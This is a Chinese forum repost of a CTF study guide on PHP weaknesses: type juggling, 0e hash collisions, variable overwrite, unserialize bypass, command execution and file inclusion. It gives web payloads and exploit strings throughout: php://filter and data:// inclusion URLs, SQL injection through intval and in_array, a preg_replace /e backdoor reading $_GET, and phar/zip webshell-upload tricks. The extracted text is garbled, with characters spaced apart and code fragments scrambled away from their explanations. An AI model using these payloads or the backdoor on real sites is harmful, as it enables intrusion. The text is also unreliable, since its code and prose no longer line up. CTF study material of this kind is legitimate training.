搜索

[21030] 2020-05-14_ctf中php常见的考点

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-05-14_ctf中php常见的考点 c t f 中 p h p 常 见 的 考 点 L e m o n S e c   2 0 2 0 - 0 5 - 1 4 本 博 文 转 自 ： 大 佬 博 客 （ 侵 权 删 ） 总 结 的 很 详 细 ， 忍 不 住 转 载 系 统 变 量 错 误 控 制 运 算 符 P H P   支 持 一 个 错 误 控 制 运 算 符 ： @ 。 当 将 其 放 置 在 一 个 P H P   表 达 式 之 前 ， 该 表 达 式 可 能 产 生 的 任 何 错 误 信 息 都 被 忽 略 掉 。 变 量 默 认 值 当 定 义 一 个 变 量 ， 如 果 没 有 设 置 值 ， 默 认 为 0 $ _ G E T   和   $ _ P O S T 如 果   G E T   参 数 中 设 置 ， 那 么 ， p h p   会 把 当 成 数 组 传 入 ， 会 自 动 对 参 数 调 用 。 同 样 存 在 此 漏 洞 ， 提 交 的 表 单 数 据 ， ， 得 到 的 是 是 一 个 数 组 。 内 置 函 数 的 松 散 性 s t r c m p $ _ P O S T   / /   获 取   p o s t   数 据 ， 是 一 个 字 典 $ _ G E T   / /   获 取   g e t   数 据 ， 是 一 个 字 典 $ _ C O O K I E   / /   获 取   c o o k i e $ _ S E S S I O N   / /   获 取   s e s s i o n $ _ F I L E   / /   获 取 上 传 的 文 件 $ _ R E Q U E S T   / /   获 取   $ _ G E T ， $ _ P O S T ， $ _ C O O K I E   中 的 数 据 h t t p : / / c t f 4 . s h i y a n b a r . c o m / w e b / f a l s e . p h p ? n a m e [ ] = a & p a s s w o r d [ ] = b n a m e [ ] = a $ _ G E T [ ' n a m e ' ]   =   [ a ] [ ] = a $ _ G E T u r l d e c o d e $ _ P O S T u s e r [ ] = a d m i n $ _ P O S T [ ' u s e r ' ] [ ' a d m i n ' ]
s t r c m p   函 数 的 输 出 含 义 如 下 : 如 果   s t r 1   小 于   s t r 2   返 回   <   0 ； 如 果   s t r 1   大 于   s t r 2   返 回   >   0 ； 如 果 两 者 相 等 ， 返 回   0 。 5 . 2   中 是 将 两 个 参 数 先 转 换 成 s t r i n g 类 型 。 5 . 3 . 3   以 后 ， 当 比 较 数 组 和 字 符 串 的 时 候 ， 返 回 是 0 。 5 . 5   中 如 果 参 数 不 是 s t r i n g 类 型 ， 直 接 r e t u r n 了 1 2 3 4 $ a r r a y = [ 1 ,   2 ,   3 ] ; / /   数 组 跟 字 符 串 比 较 会 返 回   0 / / 这 里 会 输 出   n u l l ， 在 某 种 意 义 上   n u l l   也 就 是 相 当 于   f a l s e ， 也 就 是 判 断 为 相 等 v a r _ d u m p ( s t r c m p ( $ a r r a y ,   ' a b c ' ) ) ; s h a 1   和   m d 5   函 数 m d 5   和   s h a 1   无 法 处 理 数 组 ， 但 是   p h p   没 有 抛 出 异 常 ， 直 接 返 回   f a s l e 弱 类 型 当 一 个 整 形 和 一 个 其 他 类 型 行 比 较 的 时 候 ， 会 先 把 其 他 类 型 再 比 较 i n t v a l i n t v a l ( )   在 转 换 的 时 候 ， 会 从 字 符 串 的 开 始 进 行 转 换 直 到 遇 到 一 个 非 数 字 的 字 符 。 即 使 出 现 无 法 转 换 的 字 符 串 ， i n t v a l ( )   不 会 报 错 而 是 返 回   0 。 这 个 时 候 的 值 有 可 能 是 i s _ n u m e r i c P H P 提 供 了 i s _ n u m e r i c 函 数 ， 用 来 变 量 判 断 是 否 为 数 字 。 但 是 函 数 的 范 围 比 较 广 泛 ， 不 仅 仅 是 十 进 制 的 数 字 。 s h a 1 ( [ ] )   = = =   f a l s e m d 5 ( [ ] )   = = =   f a l s e i n t v a l v a r _ d u m p ( i n t v a l ( ' 2 ' ) )   / /   2 v a r _ d u m p ( i n t v a l ( ' 3 a b c d ' ) )   / /   3 v a r _ d u m p ( i n t v a l ( ' a b c d ' ) )   / /   0 $ a 1 0 0 2   u n i o n … i f ( i n t v a l ( $ a )   >   1 0 0 0 )   { m y s q l _ q u e r y ( " s e l e c t   *   f r o m   n e w s   w h e r e   i d = " . $ a ) } < ? p h p
i n _ a r r a y i n _ a r r a y 函 数 用 来 判 断 一 个 值 是 否 在 某 一 个 数 组 列 表 里 面 ， 通 常 判 断 方 式 如 下 ： 这 段 代 码 的 作 用 是 过 滤   G E T   参 数   t y p e i d   在 不 在   1 ， 2 ， 3 ， 4   这 个 数 组 里 面 。 但 是 ， i n _ a r r a y   函 数 存 在 自 动 类 型 转 换 。 如 果 请 求 ， 也 能 通 过   i n _ a r r a y   的 验 证 。 = =   和   = = = 是 弱 类 型 的 比 较 比 较 符 则 可 以 避 免 这 种 隐 式 转 换 ， 除 了 检 查 值 还 检 查 类 型 。 以 下 比 较 的 结 果 都 为   t r u e h a s h   比 较 的 问 题 0 e   开 头 且 后 面 都 是 数 字 会 被 当 作 科 学 计 数 法 ， 也 就 是 等 于   0 * 1 0 ^ x x x = 0 。 如 果   m d 5   是 以   0 e   开 头 ， 在 做 比 较 的 时 候 ， 可 以 用 这 种 方 法 绕 过 。 < ? p h p e c h o   i s _ n u m e r i c ( 2 3 3 3 3 3 ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 2 3 3 3 3 3 ' ) ;   #   1 e c h o   i s _ n u m e r i c ( 0 x 2 3 3 3 3 3 ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 0 x 2 3 3 3 3 3 ' ) ;   #   1 e c h o   i s _ n u m e r i c ( ' 2 3 3 3 3 3 a b c ' ) ;   #   0 ? > i n _ a r r a y ( ' b ' ,   a r r a y ( ' a ' ,   ' b ' ,   ' c ' ) ; t y p e i d = 1 ’   u n i o n   s e l e c t . . i f   ( i n _ a r r a y ( $ _ G E T ( ' t y p e i d ' ] ,   a r r a y ( 1 ,   2 ,   3 ,   4 ) ) )   { $ s q l = " s e l e c t   … .   w h e r e   t y p e i d = " . $ _ G E T [ ' t y p e i d ' ] " ; e c h o   $ s q l ; } = = = = = / /   0 x   开 头 会 被 当 成 1 6 进 制 5 4 9 7 5 5 8 1 3 8 8 的 1 6 进 制 为   0 x c c c c c c c c c / /   十 六 进 制 与 整 数 ， 被 转 换 为 同 一 进 制 比 较 ' 0 x c c c c c c c c c '   = =   ' 5 4 9 7 5 5 8 1 3 8 8 ' / /   字 符 串 在 与 数 字 比 较 前 会 自 动 转 换 为 数 字 ， 如 果 不 能 转 换 为 数 字 会 变 成 0 1   = =   ' 1 ' 1   = =   ' 0 1 ' 1 0   = =   ' 1 e 1 ' 1 0 0   = =   ' 1 e 2 ' 0   = =   ' a '   / /   a   转 换 为 数 字 为   0 / /   十 六 进 制 数 与 带 空 格 十 六 进 制 数 ， 被 转 换 为 十 六 进 制 整 数 ' 0 x A B C d e f '   = =   '   0 x A B C d e f ' ' 0 0 1 0 e 2 '   = =   ' 1 e 3 ' / /   ' 0 e 5 0 9 3 2 3 4 '   为   0 ， ' 0 e a b c 3 2 3 4 '   不 为   0 / /   t r u e ' 0 e 5 0 9 3 6 7 2 1 3 4 1 8 2 0 6 7 0 0 8 4 2 0 0 8 7 6 3 5 1 4 '   = =   ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 ' / /   t r u e ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 '   = =   ' 0 '
如 果 要 找 出 开 头 的   h a s h   碰 撞 ， 可 以 用 如 下 代 码 。 s w i t c h 如 果   s w i t c h   是 数 字 类 型 的   c a s e   的 判 断 时 ，   s w i t c h   会 将 其 中 的 参 数 转 换 为   i n t 类 型 。 这 个 时 候 程 序 输 出 的 是   i   i s   l e s s   t h a n   3   b u t   n o t   n e g a t i v e ， 是 由 于   s w i t c h ( )   函 数 将 进 行 了 类 型 转 换 ， 转 换 结 果 为   2 。 正 则 表 达 式 p r e g _ m a t c h 如 果 在 进 行 正 则 表 达 式 匹 配 的 时 候 ， 没 有 限 制 字 符 串 的 开 始 和 结 束 ( 和 ' 0 e 4 8 1 0 3 6 4 9 0 8 6 7 6 6 1 1 1 3 2 6 0 0 3 4 9 0 0 7 5 2 '   = =   ' 0 ' / /   f a l s e v a r _ d u m p ( ' 0 '   = =   ' 0 e 1 a b c d ' ) ; / /   t r u e v a r _ d u m p ( 0   = =   ' 0 e 1 a b c d ' ) ; v a r _ d u m p ( m d 5 ( ' 2 4 0 6 1 0 7 0 8 ' )   = =   m d 5 ( ' Q N K C D Z O ' ) ) ; v a r _ d u m p ( m d 5 ( ' a a b g 7 X S s ' )   = =   m d 5 ( ' a a b C 9 R q S ' ) ) ; v a r _ d u m p ( s h a 1 ( ' a a r o Z m O k ' )   = =   s h a 1 ( ' a a K 1 S T f Y ' ) ) ; v a r _ d u m p ( s h a 1 ( ' a a O 8 z K Z F ' )   = =   s h a 1 ( ' a a 3 O F F 9 m ' ) ) ; 0 e < ? p h p $ s a l t   =   ' v u n p ' ; $ h a s h   =   ' 0 e 6 1 2 1 9 8 6 3 4 3 1 6 9 4 4 0 1 3 5 8 5 6 2 1 0 6 1 1 1 5 ' ; f o r   ( $ i = 1 ;   $ i < 1 0 0 0 0 0 0 0 0 0 0 0 ;   $ i + + )   { i f   ( m d 5 ( $ s a l t   .   $ i )   = =   $ h a s h )   { e c h o   $ i ; b r e a k ; } } e c h o   '   d o n e ' ; $ i   = " 2 a b c " ; s w i t c h   ( $ i )   { c a s e   0 : c a s e   1 : c a s e   2 : e c h o   " i   i s   l e s s   t h a n   3   b u t   n o t   n e g a t i v e " ; b r e a k ; c a s e   3 : e c h o   " i   i s   3 " ; } $ i ^ $
) ， 则 可 以 存 在 绕 过 的 问 题 e r e g   % 0 0   截 断 e r e g   读 到   % 0 0   的 时 候 ， 就 截 止 了 这 里 ， 可 以 绕 过 变 量 覆 盖 e x t r a c t e x t r a c t ( )   函 数 从 数 组 中 把 变 量 导 入 到 当 前 的 符 号 表 中 。 对 于 数 组 中 的 每 个 元 素 ， 键 名 用 于 变 量 名 ， 键 值 用 于 变 量 值 。 p a r s e _ s t r p a r s e _ s t r ( )   的 作 用 是 解 析 字 符 串 ， 并 注 册 成 变 量 。 与   p a r s e _ s t r ( )   类 似 的 函 数 还 有   m b _ p a r s e _ s t r ( ) ， p a r s e _ s t r   将 字 符 串 解 析 成 多 个 变 量 ， 如 果 参 数   s t r   是   U R L   传 递 入 的 查 询 字 符 串 （ q u e r y   s t r i n g ） ， 则 将 它 解 析 为 变 量 并 设 置 到 当 前 作 用 域 。 $ $   变 量 覆 盖 如 果 把 变 量 本 身 的   k e y   也 当 变 量 ， 也 就 是 使 用 了 $ i p   =   ' 1 . 1 . 1 . 1   a b c d ' ;   / /   可 以 绕 过 i f ( ! p r e g _ m a t c h ( " / ( d + ) . ( d + ) . ( d + ) . ( d + ) / " , $ i p ) )   { d i e ( ' e r r o r ' ) ; }   e l s e   { / /   e c h o ( ' k e y . . . ' ) } < ? p h p i f   ( e r e g   ( " ^ [ a - z A - Z ] + $ " ,   $ _ G E T [ ' a ' ] )   = = =   F A L S E )   { e c h o   ' Y o u   p a s s w o r d   m u s t   b e   a l p h a b e t ' ; } ? > a = a b c d % 0 0 1 2 3 4 < ? p h p $ a u t h   =   ' 0 ' ; / /   这 里 可 以 覆 盖 $ a u t h 的 变 量 值 e x t r a c t ( $ _ G E T ) ; i f ( $ a u t h   = =   1 ) { e c h o   " p r i v a t e ! " ; }   e l s e { e c h o   " p u b l i c ! " ; } ? > / / v a r . p h p ? v a r = n e w $ v a r = ' i n i t ' ; p a r s e _ s t r ( $ _ S E R V E R [ ' Q U E R Y _ S T R I N G ' ] ) ; / /   $ v a r   会 变 成   n e w e c h o   $ v a r ; $ $
， 就 可 能 存 在 问 题 。 例 子 u n s e t 用 来 销 毁 指 定 的 变 量 ， 如 果 变 量 包 含 在 请 求 参 数 中 ， 可 能 出 现 销 毁 一 些 变 量 而 实 现 程 序 逻 辑 绕 过 。 特 殊 的   P H P   代 码 格 式 以 这 种 后 缀 结 尾 的   p h p   文 件 也 能 被 解 析 ， 这 是 在   f a s t - c g i   里 面 配 置 的 . p h p 2 . p h p 3 . p h p 4 . p h p 5 . p h p 7 . p h t m l 正 则 检 测 文 件 内 容 中 包 含 就 异 常 退 出 ， 通 常 的 P H P 代 码 就 不 行 了 ， 可 以 使 用 这 种 方 式 绕 过 效 果 等 于   e c h o   ‘ a ’ ; 如 果 在   p h p . i n i   文 件 中 配 置 允 许   A S P   风 格 的 标 签 $ _   =   ' _ P O S T ' ; / /   $ $ _   是 等 于   $ _ P O S T / /   h t t p : / / 1 2 7 . 0 . 0 . 1 / i n d e x . p h p ? _ C O N F I G = 1 2 3 $ _ C O N F I G [ ' e x t r a S e c u r e ' ]   =   t r u e ; f o r e a c h ( a r r a y ( ' _ G E T ' , ' _ P O S T ' )   a s   $ m e t h o d )   { f o r e a c h ( $ $ m e t h o d   a s   $ k e y = > $ v a l u e )   { / /   $ k e y   = =   _ C O N F I G / /   $ $ k e y   = =   $ _ C O N F I G / /   这 个 函 数 会 把   $ _ C O N F I G   变 量 销 毁 u n s e t ( $ $ k e y ) ; } } i f   ( $ _ C O N F I G [ ' e x t r a S e c u r e ' ]   = =   f a l s e )   { e c h o   ' f l a g   { * * * * } ' ; } u n s e t ( $ b a r ) ; $ b a r < ? < s c r i p t   l a n g u a g e = " p h p " > e c h o   b a s e 6 4 _ e n c o d e ( f i l e _ g e t _ c o n t e n t s ( ' f l a g . p h p ' ) ) ; < / s c r i p t >       < ? = ' a ' ; ? > ;   A l l o w   A S P - s t y l e   < %   % >   t a g s . ;   h t t p : / / p h p . n e t / a s p - t a g s a s p _ t a g s   =   O n
则 可 以 使 用 该 方 式 伪 随 机 数 m t _ r a n d ( ) m t _ r a n d ( )   函 数 是 一 个 伪 随 机 发 生 器 ， 即 如 果 知 道 随 机 数 种 子 是 可 以 预 测 的 。 l i n u x   6 4   位 系 统 中 ， r a n d ( )   和   m t _ r a n d ( )   产 生 的 最 大 随 机 数 都 是 2 1 4 7 4 8 3 6 4 7 ， 正 好 是   2 ^ 3 1 - 1 ， 也 就 是 说 随 机 播 种 的 种 子 也 是 在 这 个 范 围 中 的 ， 0   –   2 1 4 7 4 8 3 6 4 7   的 这 个 范 围 是 可 以 爆 破 的 。 但 是 用   p h p   爆 破 比 较 慢 ， 有 一 个   C   的 版 本 ， 可 以 根 据 随 机 数 ， 爆 破 出 种 子   p h p _ m t _ s e e d 。 在   p h p   >   4 . 2 . 0   的 版 本 中 ， 不 再 需 要 用   s r a n d ( )   或   m t _ s r a n d ( )   函 数 给 随 机 数 发 生 器 播 种 ， 现 已 由   P H P   自 动 完 成 。 p h p   中 产 生 一 系 列 的 随 机 数 时 ， 只 进 行 了 一 次 播 种 ， 而 不 是 每 次 调 用   m t _ r a n d ( )   都 进 行 播 种 。 r a n d ( ) r a n d ( )   函 数 在 产 生 随 机 数 的 时 候 没 有 调 用   s r a n d ( ) ， 则 产 生 的 随 机 数 是 有 规 律 可 询 的 。 具 体 的 说 明 请 看 这 里 。 产 生 的 随 机 数 可 以 用 下 面 这 个 公 式 预 测 : 可 以 用 下 面 的 代 码 验 证 一 下 反 序 列 化 _ _ c o n s t r u c t ( ) ： 构 造 函 数 ， 当 对 象 创 建 ( n e w ) 时 会 自 动 调 用 。 但 在 u n s e r i a l i z e ( ) 时 是 不 会 自 动 调 用 的 。 _ _ d e s t r u c t ( ) ： 析 构 函 数 ， 当 对 象 被 销 毁 时 会 自 动 调 用 。 _ _ w a k e u p ( )   ： 如 前 所 提 ， u n s e r i a l i z e ( ) 时 会 自 动 调 用 。 P H P 后 会 导 致 或 的 直 接 调 用 ， 中 间 无 需 其 他 过 程 。 因 此 最 理 想 的 情 况 就 是 一 些 漏 洞 / 危 害 代 码 在 < %   e c h o   ' a ' ;   % > $ s e e d   =   1 2 3 4 5 ; m t _ r a n d ( $ s e e d ) ; $ s s   =   m t _ r a n d ( ) ; #   一 般 预 测 值 可 能 比 实 际 值 要 差 1 s t a t e [ i ]   =   s t a t e [ i - 3 ]   +   s t a t e [ i - 3 1 ] < ? p h p $ r a n d S t r   =   a r r a y ( ) ; f o r ( $ i = 0 ; $ i < 5 0 ; $ i + + )   {   / / 先 产 生   3 2 个 随 机 数 $ r a n d S t r [ $ i ] = r a n d ( 0 , 3 0 ) ; i f ( $ i > = 3 1 )   { e c h o   " $ r a n d S t r [ $ i ] = ( " . $ r a n d S t r [ $ i - 3 1 ] . " + " . $ r a n d S t r [ $ i - 3 ] . " )   m o d   3 1 " . " n " ; } } ? > u n s e r i a l i z e ( ) _ _ w a k e u p ( ) _ _ d e s t r u c t ( ) _ _ w a k e u p ( )
或 中 。 函 数 绕 过 P H P   有 个   B u g ， 如 果 反 序 列 化 出 现 问 题 ， 会 不 去 执 行 函 数 ， 例 如 ： 使 用 这 个   p a y l o a d   绕 过 函 数 在 字 符 串 中 ， 前 面 的 数 字 代 表 的 是 后 面 字 符 串 中 字 符 的 个 数 ， 如 果 数 字 与 字 符 个 数 不 匹 配 的 话 ， 就 会 报 错 ， 因 此 将 1 改 成 2 就 会 产 生 报 错 ， 导 致 不 会 去 执 行 函 数 ， 从 而 绕 过 该 函 数 。 文 件 包 含 命 令 执 行 反 引 号   ` 反 引 号   `   可 以 调 用   s h e l l _ e x e c   正 常 执 行 代 码 p r e g _ r e p l a c e ( ) 触 发 条 件 ： _ _ d e s t r u c t ( ) _ _ w a k e u p _ _ w a k e u p < ? p h p c l a s s   x c t f { p u b l i c   $ f l a g   =   " 1 1 1 " ; p u b l i c   f u n c t i o n   _ _ w a k e u p ( ) { e x i t ( ' b a d   r e q u e s t s ' ) ; } } / / e c h o   s e r i a l i z e ( n e w   x c t f ( ) ) ; e c h o   u n s e r i a l i z e ( $ _ G E T [ ' c o d e ' ] ) ; e c h o   " f l a g { * * * * } " ; ? > _ _ w a k e u p #   O : 4 : " x c t f " : 1 : { s : 4 : " f l a g " ; s : 3 : " 1 1 1 " ; } h t t p : / / w w w . e x a m p l e . c o m / i n d e x . p h p ? c o d e = O : 4 : " x c t f " : 2 : { s : 4 : " f l a g " ; s : 3 : " 1 1 1 " ; } _ _ w a k e u p h t t p : / / 1 0 . 2 . 1 . 1 : 2 0 7 7 0 / i n d e x . p h p ? p a g e = u p l o a d 这 种   u r l   很 容 易 就 能 想 到 可 能 是 文 件 包 含 或 者 伪 协 议 读 取 h t t p : / / 1 0 . 2 . 1 . 1 : 2 0 7 7 0 / i n d e x . p h p ? p a g e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = u p l o a d       ` $ _ G E T [ ' v ' ] `   相 当 于   s h e l l _ e x e c ( $ _ G E T [ ' v ' ] )
1 .   第 一 个 参 数 需 要 e 标 识 符 ， 有 了 它 可 以 执 行 第 二 个 参 数 的 命 令 2 .   第 一 个 参 数 需 要 在 第 三 个 参 数 中 的 中 有 匹 配 ， 不 然 e c h o 会 返 回 第 三 个 参 数 而 不 执 行 命 令 ， 举 个 例 子 ： 我 们 可 以 构 造 这 样 的 后 门 代 码 当 访 问 这 样 这 样 的 链 接 时 就 可 以 被 触 发 伪 协 议 p h p : / / f i l t e r 读 取 文 件 p h p : / / i n p u t 写 入 文 件 ，   数 据 利 用   P O S T   传 过 去 d a t a : / / 将   i n c l u d e   的 文 件 流 重 定 向 到 用 户 控 制 的 输 入 流 可 以 用 于 控 制   f i l e _ g e t _ c o n t e n t s   的 内 容 为 用 户 输 入 的 流 p h a r : / / 发 现 有 一 个 文 件 上 传 功 能 ， 无 法 绕 过 ， 仅 能 上 传 j p g 后 缀 的 文 件 。 与 此 同 时 ， 无 法 进 行 文 件 包 含 截 断 。 a l l o w _ u r l _ i n c l u d e = o n   的 状 态 下 ， 就 可 以 考 虑 p h a r 伪 协 议 绕 过 。 写 一 个 s h e l l . p h p 文 件 ， 里 面 包 含 一 句 话 木 马 。 然 后 ， 压 缩 成 x x x . z i p 。 然 后 改 名 为 x x x . j p g 进 行 上 传 。 最 后 使 用 p h a r 进 行 包 含 这 里 的 路 径 为 上 传 的   j p g   文 件 在 服 务 器 的 路 径 z i p : / / 上 述   p h a r : / /   的 方 法 也 可 以 使 用   z i p : / / 然 后 吧 1 . p h p 文 件 压 缩 成 z i p ， 再 把 z i p 的 后 缀 改 为 p n g ， 上 传 上 去 ， 并 且 可 以 获 得 上 传 上 去 的 p n g 的 地 址 。 / /   这 样 是 可 以 执 行 命 令 的 e c h o   p r e g _ r e p l a c e ( ' / t e s t / e ' ,   ' p h p i n f o ( ) ' ,   ' j u s t   t e s t ' ) ; / /   这 种 没 有 匹 配 上 ， 所 以 返 回 值 是 第 三 个 参 数 ， 不 会 执 行 命 令 e c h o   p r e g _ r e p l a c e ( ' / t e s t / e ' ,   ' p h p i n f o ( ) ' ,   ' j u s t   t e s x t ' ) ; @ p r e g _ r e p l a c e ( " / / e " ,   $ _ G E T [ ' h ' ] ,   " A c c e s s   D e n i e d " ) ; e c h o   p r e g _ r e p l a c e ( " / t e s t / e " ,   $ _ G E T [ " h " ] ,   " j u t s t   t e s t " ) ; h t t p : / / l o c a l h o s t : 8 0 0 0 / t e s t b u g . p h p ? h = p h p i n f o ( ) ; / l f i . p h p ? f i l e = p h p : / / f i l t e r / c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f l a g . p h p / l f i . p h p ? f i l e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f l a g . p h p / t e s t . p h p ? f i l e = p h p : / / i n p u t / t e s t . p h p ? f i l e = d a t a : / / t e x t / p l a i n ; b a s e 6 4 , P D 9 w a H A g c G h w a W 5 m b y g p O 2 V 4 a X Q o K T s v L w = = $ f i l e = $ _ G E T [ ' f i l e ' ] ; $ d a t a   =   @ f i l e _ g e t _ c o n t e n t s ( $ a , ' r ' ) ; e c h o   $ d a t a ; / i n d e x . p h p ? i d = p h a r : / / 路 径 / x x x . j p g / s h e l l
1 . z i p 文 件 内 仅 有 1 . p h p 这 个 文 件 文 件 上 传 漏 洞 正 常 的 文 件 上 传 流 程 是 这 样 的 ， 首 先 接 收   P O S T   的 文 件 ， 在 目 录 下 生 成 临 时 文 件 ， 文 件 名 是 ， 在   p h p   处 理 后 删 除 临 时 文 件 ， 虽 然 没 有 文 件 上 传 ， 但 是 只 要 文 件 上 传 开 启 了 就 一 定 会 创 建 临 时 文 件 ， 在 这 中 途 如 果   p h p 意 外 退 出 则 临 时 文 件 不 会 被 删 除 ， 造 成 目 录 下 可 以 留 下 任 何 内 容 。   内 容 构 造 好 后 ， 单 纯 爆 破 文 件 名 是 不 太 现 实 但 是 也 可 行 的 。 通 过 文 件 包 含 ， 让 其 包 含 本 身 ， 造 成 无 限 循 环 后 发 出   S I G S E G V   信 号 ， 可 以 导 致   p h p   意 外 退 出 。 / p h p ? f i l e = z i p : / / 1 . p n g % 2 3 1 . p h p / /   也 可 以 尝 试 不 改 名 为 p n g ， 直 接 使 用 z i p 上 传 测 试 一 下 / p h p ? f i l e = z i p : / / 1 . z i p % 2 3 1 . p h p t m p p h p [ A - Z a - z 0 - 9 ] { 6 } / t m p / t m p / p h p x x x x x x
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理